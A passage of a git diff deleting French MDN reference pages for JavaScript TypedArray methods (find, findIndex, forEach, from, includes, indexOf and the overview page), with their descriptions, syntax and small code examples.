  • {{jsxref("TypedArray.prototype.some()")}}
    • -
  • {{jsxref("Array.prototype.filter()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/find/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/find/index.html deleted file mode 100644 index 97f578b914..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/find/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: TypedArray.prototype.find() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/find -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/find ---- -
{{JSRef}}
- -

La méthode find() renvoie une valeur du tableau typé si un élément du tableau remplit la condition définie par la fonction de test fournie. Si aucun élément ne remplit la condition, la valeur {{jsxref("undefined")}} sera renvoyée. Pour la suite de cet article TypedArray correspond à l'un des types de tableaux typés.

- -

Voir également la page sur la méthohde {{jsxref("TypedArray.findIndex", "findIndex()")}} qui renvoie l'indice de l'élément trouvé (et non sa valeur).

- -
{{EmbedInteractiveExample("pages/js/typedarray-find.html")}}
- - - -

Syntaxe

- -
typedarray.find(callback[, thisArg])
- -

Paramètres

- -
-
callback
-
La fonction à exécuter pour chaque valeur du tableau typé. Elle prend trois arguments : -
-
élément
-
L'élément du tableau typé en cours de traitement.
-
index
-
L'indice de l'élément du tableau typé en cours de traitement.
-
array
-
Le tableau sur lequel la méthode find a été appelée.
-
-
-
thisArg
-
Paramètre optionnel, il correspond à l'objet à utiliser en tant que this lors de l'exécution de la fonction callback.
-
- -

Valeur de retour

- -

Une valeur du tableau qui remplit la condition définie par la fonction de rappel, {{jsxref("undefined")}} sinon.

- -

Description

- -

La méthode find exécute la fonction callback une fois pour chacun des éléments présents dans le tableau typé jusqu'à ce que la fonction callback renvoie une valeur vraie. Si un tel élément est trouvé, find retourne immédiatement la valeur de cet élément, sinon find renvoie {{jsxref("undefined")}}. callback est appelée uniquement pour les indices du tableau typé qui possèdent une valeur, elle n'est pas appelée pour les indices qui ont été supprimés ou qui ne possèdent pas de valeurs.

- -

callback est invoquée avec trois arguments : la valeur de l'élément, son indice et le tableau typé parcouru.

- -

Si la paramètre thisArg est utilisé, il sera utilisé en tant que this pour chaque appel à callback. S'il n'est pas fourni, la valeur {{jsxref("undefined")}} sera utilisée.

- -

find ne modifie pas le tableau typé sur lequel elle est appelé.

- -

La liste des éléments traités par find est définie avant le premier appel à callback. Les éléments qui sont ajoutés au tableau typé après que l'appel à find ait commencé ne seront pas traités par callback. Si un élément du tableau qui n'a pas encore été traité est modifié par un appel précédent de callback, la valeur utilisée au moment où il est traité est celle qu'il aura lorsque find atteindra cet indice. Les éléments qui sont supprimés ne sont pas traités par la fonction.

- -

Exemples

- -

Trouver un nombre premier

- -

Dans l'exemple qui suit, on cherche un élément d'un tableau typé qui est un nombre premier (on renvoie undefined s'il n'y a pas de nombre premier).

- -
function estPremier(élément, index, array) {
-  var début = 2;
-  while (début <= Math.sqrt(élément)) {
-    if (élément % début++ < 1) {
-      return false;
-    }
-  }
-  return élément > 1;
-}
-
-var uint8 = new Uint8Array([4, 5, 8, 12]);
-console.log(uint8.find(estPremier)); // 5
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.find', '%TypedArray%.prototype.find')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.find', '%TypedArray%.prototype.find')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.find")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.findIndex()")}}
    • -
  • {{jsxref("TypedArray.prototype.every()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/findindex/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/findindex/index.html deleted file mode 100644 index d1c2c65387..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/findindex/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: TypedArray.prototype.findIndex() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/findIndex -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/findIndex ---- -
{{JSRef}}
- -

La méthode findIndex() renvoie un indice d'un élément d'un tableau typé si cet élément remplit une condition définie par une fonction de test donnée. S'il n'y a aucun élément satisfaisant, -1 sera renvoyé.

- -

Voir aussi la méthode {{jsxref("TypedArray.find", "find()")}} qui renvoie la valeur de l'élément trouvé (au lieu de son indice).

- -
{{EmbedInteractiveExample("pages/js/typedarray-findindex.html")}}
- - - -

Syntaxe

- -
typedarray.findIndex(callback[, thisArg])
- -

Paramètres

- -
-
callback
-
La fonction à exécuter pour chaque valeur du tableau typé. Elle prend trois arguments : -
-
élément
-
L'élément du tableau typé en cours de traitement.
-
index
-
L'indice de l'élément du tableau typé en cours de traitement.
-
array
-
Le tableau typé sur lequel la méthode findIndex a été appelée.
-
-
-
thisArg
-
Paramètre optionnel, l'objet à utiliser en tant que this pour les appels à callback.
-
- -

Valeur de retour

- -

Un indice du tableau pour lequel l'élément remplit la condition décrite par la fonction, -1 sinon.

- -

Description

- -

La méthode findIndex exécute la fonction callback une fois pour chacun des éléments présent dans le tableau typé jusqu'à ce que callback renvoie une valeur vraie pour un élément. Si un tel élément est trouvé, findIndex retournera immédiatement l'indice de cet élément. Sinon, findIndex renverra -1. callback est appelé uniquement pour les éléments du tableau qui possèdent une valeur, les éléments qui ont été supprimés ou qui n'ont pas de valeur ne sont pas traités.

- -

callback est appelé avec trois arguments : la valeur de l'élément, son indice et le tableau typé qui est parcouru.

- -

Si un paramètre thisArg a été fourni à findIndex, celui-ci sera utilisé en tant que this pour chaque appel de callback. Dans le cas contraire, la valeur {{jsxref("undefined")}} sera utilisée.

- -

findIndex ne modifie pas le tableau typé sur lequel elle a été appelée.

- -

La liste des éléments traités par findIndex est définie avant le premier appel à callback. Les éléments qui sont ajoutés au tableau typés après que findIndex ait débuté ne sont pas traités par callback. Si un élément est modifié par un appel à callback précédent, la valeur passée à callback lors du traitement sera celle au moment où findIndex traite l'indice de l'élément. Les éléments qui sont supprimés ne sont pas pris en compte.

- -

Exemples

- -

Dans l'exemple suivant, on utilise la méthode pour trouver l'indice d'un nombre premier dans le tableau typé (ou -1 dans le cas où il n'y a pas de nombre premier) :

- -
function estPremier(élément, index, array) {
-  var début = 2;
-  while (début <= Math.sqrt(élément)) {
-    if (élément % début++ < 1) {
-      return false;
-    }
-  }
-  return élément > 1;
-}
-
-var uint8 = new Uint8Array([4, 6, 8, 12]);
-var uint16 = new Uint16Array([4, 6, 7, 12]);
-
-console.log(uint8.findIndex(estPremier)); // -1, non trouvé
-console.log(uint16.findIndex(estPremier)); // 2
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.findindex', '%TypedArray%.prototype.findIndex')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.findindex', '%TypedArray%.prototype.findIndex')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.findIndex")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.find()")}}
    • -
  • {{jsxref("TypedArray.prototype.indexOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/foreach/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/foreach/index.html deleted file mode 100644 index b6e38156ff..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/foreach/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: TypedArray.prototype.forEach() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/forEach -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/forEach ---- -
{{JSRef}}
- -

La méthode forEach() permet d'exécuter une fonction donnée sur chaque élément du tableau. Cette méthode implémente le même algorithme que {{jsxref("Array.prototype.forEach()")}}.

- -

Syntaxe

- -
tableauTypé.forEach(callback[, thisArg])
- -

Paramètres

- -
-
callback
-
La fonction à utiliser pour chaque élément du tableau typé. Elle prend trois arguments : -
-
valeurÉlément
-
La valeur de l'élément traité actuellement.
-
indiceÉlément
-
L'indice de l'élément traité actuellement.
-
tableau
-
Le tableau parcouru par forEach().
-
-
-
thisArg
-
Optionnel. La valeur utilisée pour this lors de l'appel à callback().
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Description

- -

La méthode forEach() exécute la fonction callback() une fois pour chaque élément présent dans le tableau typé, par ordre d'indice croissant. Cette fonction n'est pas appelée pour les indices sur lesquels les éléments ont été supprimés ou n'ont pas été définis. callback() est cependant appelée pour les éléments qui portent la valeur {{jsxref("undefined")}}.

- -

callback() accepte trois arguments :

- -
    -
  • la valeur de l'élément
    • -
  • l'indice de l'élément
    • -
  • le le tableau typé traversé
    • -
- -

Si le paramètre thisArg est fourni à forEach(), il sera la valeur du this utilisé par chaque exécution de callback(). Dans le cas contraire, la valeur {{jsxref("undefined")}} sera utilisée par défaut. Pour déterminer la valeur de this véritablement visible par callback() durant son exécution, les règles habituelles pour {{jsxref("Operators/this", "déterminer la valeur de this du point de vue d'une fonction")}} sont appliquées.

- -

L'ensemble des éléments visités par forEach() est fixé avant le premier appel à callback. Ainsi, les éléments qui sont ajoutés au tableau typé après que l'exécution de forEach() soit lancée ne seront pas traités. Cependant, si la valeur d'un élément à traiter est modifiée pendant l'exécution de forEach(), la valeur passée à callback() sera celle de l'élément au moment où il est traité. Si un élément est supprimé avant d'être visité, il ne sera pas traité.

- -

forEach() lance un appel à la fonction callback() pour chaque élément du tableau typé ; à la différence de {{jsxref("TypedArray.prototype.every()", "every()")}} et {{jsxref("TypedArray.prototype.some()", "some()")}} cette méthode renvoie toujours {{jsxref("undefined")}}.

- -

Exemples

- -

Exemple: Affichage du contenu d'un tableau typé

- -

Le code ci-dessous affiche une ligne pour chaque élément du tableau typé :

- -
function affichageContenuTableau(élément, index, tableau) {
-  console.log('a[' + index + '] = ' + élément);
-}
-
-new Uint8Array([0, 1, 2, 3]).forEach(affichageContenuTableau);
-// log :
-// a[0] = 0
-// a[1] = 1
-// a[2] = 2
-// a[3] = 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.foreach', '%TypedArray%.prototype.forEach')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.foreach', '%TypedArray%.prototype.forEach')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.forEach")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.map()")}}
    • -
  • {{jsxref("TypedArray.prototype.every()")}}
    • -
  • {{jsxref("TypedArray.prototype.some()")}}
    • -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/from/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/from/index.html deleted file mode 100644 index d1e4dff361..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/from/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: TypedArray.from() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/from -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - TypedArray - - TypedArrays - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/from ---- -
{{JSRef}}
- -

La méthode TypedArray.from() crée un nouvel objet {{jsxref("TypedArray", "TypedArray", "#Les_objets_TypedArray")}} à partir d'un objet itérable ou d'un objet semblable à un tableau. Cette méthode est similaire à {{jsxref("Array.from()")}}.

- -

Syntaxe

- -
TypedArray.from(source[, mapFn[, thisArg]])
-
-où TypedArray est l'un de :
-
-Int8Array
-Uint8Array
-Uint8ClampedArray
-Int16Array
-Uint16Array
-Int32Array
-Uint32Array
-Float32Array
-Float64Array
-BigInt64Array
-BigUint64Array
-
- -

Paramètres

- -
-
source
-
Un objet semblable à un tableau ou un objet itérable, et à partir duquel on souhaite créer un tableau typé.
-
fonctionMap
-
Argument optionnel, une fonction à appliquer à chacun des éléments du tableau.
-
thisArg
-
Argument optionnel. La valeur à utiliser pour this lors de l'exécution de la fonction fonctionMap.
-
- -

Valeur de retour

- -

Une nouvelle instance de {{jsxref("TypedArray")}}.

- -

Description

- -

TypedArray.from() permet de créer des tableaux typés à partir :

- - - -

Array.from possède un paramètre optionnel fonctionMap, qui permet d'exécuter une fonction {{jsxref("Array.prototype.map", "map")}} sur chacun des éléments du tableau typé (ou de l'instance de la classe fille) qui est créé. Autrement dit TypedArray.from(obj, fonctionMap, thisArg) correspond exactement à TypedArray.from(obj).map(fonctionMap, thisArg).

- -

Il existe de légères différences entre {{jsxref("Array.from()")}} et TypedArray.from() :

- -
    -
  • Si la valeur de this passée à TypedArray.from n'est pas un constructeur, TypedArray.from lèvera une exception {{jsxref("TypeError")}}, tandis que Array.from créera un nouvel objet {{jsxref("Array")}}.
    • -
  • TypedArray.from utilise [[Set]] tandis que Array.from utilise [[DefineProperty]]. Ainsi par exemple lorsque des objets {{jsxref("Proxy")}} sont manipulés la première méthode appellera {{jsxref("Objets_globaux/Proxy/handler/set", "handler.set")}} pour créer les nouveaux éléments et la seconde appellera {{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty")}}.
    • -
  • Lorsque source est un itérable, TypedArray.from va dans un premier temps récupérer toutes ses valeurs, puis initialiser une instance de this à l'aide de leur nombre, et enfin ajouter ces valeurs à l'instance. Array.from ajoute les valeurs au nouvel objet lors du parcours de l'itérateur et ne définit la taille de l'objet qu'en dernière étape.
    • -
  • Si Array.from reçoit un objet semblable à un tableau qui n'est pas un itérable, les valeurs non définies sont conservées. TypedArray.from construit un objet dense en éliminant ces valeurs.
    • -
- -

Exemples

- -
// Set (objet itérable)
-var s = new Set([1, 2, 3]);
-Uint8Array.from(s);
-// Uint8Array [ 1, 2, 3 ]
-
-
-// String
-Int16Array.from("123");
-// Int16Array [ 1, 2, 3 ]
-
-
-// En utilisant un fonction fléchée en tant que
-// fonctionMap pour manipuler les éléments
-Float32Array.from([1, 2, 3], x => x + x);
-// Float32Array [ 2, 4, 6 ]
-
-
-// Pour construire une séquence de nombres
-Uint8Array.from({length: 5}, (v, k) => k);
-// Uint8Array [ 0, 1, 2, 3, 4 ]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.from', '%TypedArray%.from')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.from', '%TypedArray%.from')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.from")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.of()")}}
    • -
  • {{jsxref("Array.from()")}}
    • -
  • {{jsxref("Array.prototype.map()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/includes/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/includes/index.html deleted file mode 100644 index 84ff7ecc17..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/includes/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: TypedArray.prototype.includes() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/includes -tags: - - ECMAScript 2016 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/includes ---- -
{{JSRef}}
- -

La méthode includes() détermine si un tableau typé possède un certain élément et renvoie true ou false selon le cas de figure. Cette méthode utilise le même algorithme que la méthode {{jsxref("Array.prototype.includes()")}}. Dans le reste de l'article TypedArray fait référence à un des types de tableau typé.

- -
{{EmbedInteractiveExample("pages/js/typedarray-includes.html")}}
- - - -

Syntaxe

- -
typedarray.includes(élémentRecherché[, indiceDébut]);
- -

Paramètres

- -
-
élémentRecherché
-
L'élément qu'on cherche au sein du tableau typé.
-
indiceDébut
-
Paramètre optionnel qui correspond à la position du tableau à partir de laquelle effectuer la recherche. La valeur par défaut est 0.
-
- -

Valeur de retour

- -

Un booléen indiquant la présence de l'élément (true s'il y est, false sinon).

- -

Exemples

- -
var uint8 = new Uint8Array([1,2,3]);
-uint8.includes(2);     // true
-uint8.includes(4);     // false
-uint8.includes(3, 3);  // false
-
-// Gestion de NaN (vrai uniquement pour Float32 et Float64)
-new Uint8Array([NaN]).includes(NaN); // false car NaN est converti en 0 par le constructeur
-new Float32Array([NaN]).includes(NaN); // true;
-new Float64Array([NaN]).includes(NaN); // true;
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES7', '#sec-%typedarray%.prototype.includes', 'TypedArray.prototype.includes')}}{{Spec2('ES7')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.includes', 'TypedArray.prototype.includes')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.includes")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.includes()")}}
    • -
  • {{jsxref("String.prototype.includes()")}}
    • -
  • {{jsxref("TypedArray.prototype.indexOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/index.html deleted file mode 100644 index aa22e02160..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/index.html +++ /dev/null @@ -1,286 +0,0 @@ ---- -title: TypedArray -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray -tags: - - JavaScript - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray ---- -
{{JSRef}}
- -

Un objet TypedArray décrit une vue organisée à la façon d'un tableau pour manipuler un tampon (buffer) de données binaires. TypedArray n'est pas une propriété globale, il n'existe pas non plus de constructeur TypedArray.  En revanche, plusieurs propriétés globales existent et leurs valeurs permettent de construire des tableaux typés (typed arrays) avec différents types de données. Ceux-ci sont listés ci-après. Les pages suivantes permettent de décrire les propriétés et méthodes qui peuvent être utilisées sur les différents tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-constructor.html")}}
- - - -

Syntaxe

- -
new TypedArray(longueur);
-new TypedArray(tableauTypé);
-new TypedArray(objet);
-new TypedArray(tampon [, décalageEnOctet [, longueur]]);
-
-// où TypedArray() est l'un de :
-
-Int8Array();
-Uint8Array();
-Uint8ClampedArray();
-Int16Array();
-Uint16Array();
-Int32Array();
-Uint32Array();
-Float32Array();
-Float64Array();
-BigInt64Array();
-BigUint64Array();
-
- -

Paramètres

- -
-
longueur
-
Lorsque le constructeur est appelé avec un argument longueur, un tableau typé sera créé, contenant autant de zéros que longueur (par exemple avec une longueur de 3, on aura un tableau dont les trois éléments seront des zéros).
-
tableauTypé
-
Lorsque le constructeur est appelé avec un argument tableauTypé, qui peut être un tableau typé de n'importe quel type (par exemple Int32Array), le tableauTypé est copié dans un nouveau tableau typé. Chaque valeur du tableauTypé est convertie dans le type correspondant du nouveau tableau. Enfin, la longueur du tableau typé est fixée avec la longueur de tableauTypé.
-
objet
-
Lorsque le constructeur est invoqué avec un argument objet, un nouveau tableau typé est créé avec la méthode TypedArray.from().
-
tampon, décalageOctet, longueur
-
Lorsque le constructeur est appelé avec un tampon (buffer) ainsi qu'avec les paramètres optionnels décalageOctet et longueur, un nouveau tableau typé est créé comme une vue pour l'objet {{jsxref("ArrayBuffer")}}. Les paramètres décalageOctet et longueur permettent de définir l'intervalle de mémoire du buffer qui est présenté dans la vue qu'est le tableau typé. Si les deux derniers paramètres sont absents, l'ensemble du tampon sera considéré. Si longueur est absent, on considèrera l'ensemble de tampon à partir de l'octet décalageOctet.
-
- -

Description

- -

ECMAScript 2015 (ES6) définit un constructeur %TypedArray% qui est un [[Prototype]] de tous les constructeurs TypedArray. Ce constructeur n'est pas accessible directement. Il n'existe pas de  %TypedArray% global ou de propriété TypedArray.  Il est uniquement accessible via Object.getPrototypeOf(Int8Array.prototype) ou avec les méthodes semblables. L'ensemble des différents constructeurs TypedArrays hérite de propriétés communes de la fonction %TypedArray%. De plus, tous les prototypes des tableaux typés (TypedArray.prototype) ont %TypedArray%.prototype pour [[Prototype]].

- -

Le constructeur %TypedArray% en tant que tel n'est pas très utile. Toute tentative d'appel ou d'utilisation avec une expression new renverra TypeError, sauf quand il est utilisé par le moteur JavaScript lors de la création de l'objet quand le moteur supporte les sous-classes. À l'heure actuelle, il n'existe pas de tels moteurs, pour cette raison %TypedArray% est uniquement utile dans les fonctions d'émulation (polyfill) our pour les propriétés des différents constructeurs TypedArray.

- -

Lorsqu'on crée une instance de TypedArray (ex. une instance de Int8Array ou autre), un tampon de mémoire tableau est créé en interne par le moteur (si un objet ArrayBuffer est passé en argument, c'est celui-ci qui est utilisé). C'est l'adresse de cette mémoire tampon qui est sauvegardée comme une propriété interne à l'objet. Toutes les méthodes de %TypedArray%.prototype utiliseront ensuite cet espace pour les opérations.

- -

Accès aux propriétés

- -

Il est possible d'accéder aux éléments du tableau en utilisant la notation usuelle avec les crochets. Cependant, définir ou accéder à des propriétés indexées ne se fera pas avec la chaîne de prototypes, même si l'indice utilisé est en dehors des limites du tableau. Les propriétés indexées seront uniquement basées sur le contenu du {{jsxref("ArrayBuffer")}} et ne consulteront pas les propriétés des objets. En revanche, il est toujours possible d'utiliser des propriétés nommées, comme avec les autres objets.

- -
// Définir et accéder du contenu avec la syntaxe usuelle
-var int16 = new Int16Array(2);
-int16[0] = 42;
-console.log(int16[0]); // 42
-
-// Les propriétés indexées sur les prototypes ne sont pas consultées (Fx 25)
-Int8Array.prototype[20] = "toto";
-(new Int8Array(32))[20]; // 0
-// y compris en dehors des limites
-Int8Array.prototype[20] = "toto";
-(new Int8Array(8))[20]; // undefined
-// ou avec des index négatifs
-Int8Array.prototype[-1] = "toto";
-(new Int8Array(8))[-1]; // undefined
-
-// Mais il est possible d'utiliser des propriétés nommées (Fx 30)
-Int8Array.prototype.toto = "truc";
-(new Int8Array(32)).toto; // "truc"
- -

Les objets TypedArray

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TypeIntervalleTaille (exprimée en octets)DescriptionType Web IDLType équivalent en C
{{jsxref("Int8Array")}}-128 à 1271Entier signé en complément à deux sur 8 bits.byteint8_t
{{jsxref("Uint8Array")}}0 à 2551Entier non signé sur 8 bits.octetuint8_t
{{jsxref("Uint8ClampedArray")}}0 à 2551Entier non signé sur 8 bits (compris entre 0 et 255).octetuint8_t
{{jsxref("Int16Array")}}-32768 à 327672Entier signé en complément à deux sur 16 bits.shortint16_t
{{jsxref("Uint16Array")}}0 à 655352Entier non signé sur 16 bits.unsigned shortuint16_t
{{jsxref("Int32Array")}}-2147483648 à 21474836474Entier signé en complément à deux sur 32 bits.longint32_t
{{jsxref("Uint32Array")}}0 à 42949672954Entier non signé sur 32 bits.unsigned longuint32_t
{{jsxref("Float32Array")}}1.2x10-38 à 3.4x10384Nombre flottant sur 32 bits selon la représentation IEEE (7 chiffres significatifs).unrestricted floatfloat
{{jsxref("Float64Array")}}5.0x10-324 à 1.8x103088Nombre flottant sur 64 bits selon la représentation IEEE (16 chiffres significatifs).unrestricted doubledouble
{{jsxref("BigInt64Array")}}-263 à 263-18Nombre entier signé sur 64 bits en complément à deux.bigintint64_t (signed long long)
{{jsxref("BigUint64Array")}}0 à 264-18Nombre entier non signé sur 64 bits.bigintuint64_t (unsigned long long)
- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT")}}
-
Cette propriété renvoie un nombre correspondant à la taille d'un élément du tableau selon le type de tableau utilisé.
-
TypedArray.length
-
La propriété de longueur, elle vaut 3.
-
{{jsxref("TypedArray.name")}}
-
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur (par exemple "Int8Array").
-
{{jsxref("TypedArray.@@species", "get TypedArray[@@species]")}}
-
La fonction de construction utilisée pour créer des objets dérivés.
-
{{jsxref("TypedArray.prototype")}}
-
Le prototype des objets TypedArray.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.from()")}}
-
Cette méthode permet de créer un nouveau tableau typé à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of()")}}
-
Cette méthode permet de créer un nouveau tableau typé à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.
-
- -

Prototype TypedArray

- -

Toutes les instances de TypedArrays héritent de {{jsxref("TypedArray.prototype")}}.

- -

Propriétés

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray/prototype','Propriétés')}}

- -

Méthodes

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray/prototype','Méthodes')}}

- -

Prothèse d'émulation (polyfill)

- -

La plupart des méthodes des tableaux typés peuvent être en partie émulées grâce aux méthodes rattachées à {{jsxref("Array")}} :

- -
var typedArrayTypes = [Int8Array, Uint8Array, Uint8ClampedArray, Int16Array, Uint16Array, ​​​Int32Array, Uint32Array, ​​​Float32Array, Float64Array];
-for (var k in typedArrayTypes){
-  for (var v in Array.prototype){
-    if (Array.prototype.hasOwnProperty(v) &&
-  ​​​​​         !typedArrayTypes[k].prototype.hasOwnProperty(v)){
-      typedArrayTypes[k].prototype[v] = Array.prototype[v];
-    }
-  }
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Défini comme TypedArray et interface ArrayBufferView avec les différents types de vues des tableaux typés. Cette spécification a été englobée dans ECMAScript 2015.
{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié les constructeurs TypedArray afin qu'ils utilisent l'opération ToIndex et puissent être utilisés sans argument.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), les constructeurs TypedArray doivent être utilisés avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur TypedArray comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = Float64Array([1, 2, 3]);
-// TypeError: calling a builtin Float64Array constructor
-// without new is forbidden
- -
var dv = new Float64Array([1, 2, 3]);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/indexof/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/indexof/index.html deleted file mode 100644 index 0713bfd101..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/indexof/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: TypedArray.prototype.indexOf() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/indexOf -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf ---- -
{{JSRef}}
- -

La méthode indexOf() renvoie le premier indice (le plus petit) auquel on peut trouver un élément donné dans le tableau typé. Si l'élément n'est pas trouvé, la valeur de retour sera -1. L'algorithme utilisé pour cette méthode est le même que celui pour {{jsxref("Array.prototype.indexOf()")}}. Pour le reste de l'article TypedArray correspond à l'un des types de tableau typé.

- -
{{EmbedInteractiveExample("pages/js/typedarray-indexof.html")}}
- - - -

Syntaxe

- -
typedarray.indexOf(élémentRecherché[, indiceDébut = 0])
- -

Paramètres

- -
-
élémentRecherché
-
L'élément qu'on souhaite situer dans le tableau typé.
-
indiceDébut
-
Paramètre optionnel représentant l'indice à partir duquel commencer la recherche de l'élément. Si l'indice est supérieur ou égal à la longueur du tableau, la méthode renverra -1 et le tableau typé ne sera pas parcouru. Si la valeur fournie est négative, la recherche commencera à partir de l'élément situé à l'indice length-indiceDébut. Note : même si la valeur fournie est négative, le parcours du tableau typé s'effectuera toujours du plus petit index vers le plus grand. Si la valeur calculée pour l'indice de début est inférieure à 0, l'ensemble du tableau typé sera parcouru. La valeur par défaut de ce paramètre est 0 (tout le tableau est parcouru).
-
- -

Valeur de retour

- -

Le premier indice du tableau pour lequel l'élément a été trouvé, -1 s'il n'a pas été trouvé.

- -

Description

- -

indexOf compare élémentRecherché aux éléments du tableau typé en utilisant l'égalité stricte (celle utilisée par l'opérateur ===).

- -

Exemples

- -
var uint8 = new Uint8Array([2, 5, 9]);
-uint8.indexOf(2);     // 0
-uint8.indexOf(7);     // -1
-uint8.indexOf(9, 2);  // 2
-uint8.indexOf(2, -1); // -1
-uint8.indexOf(2, -3); // 0
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
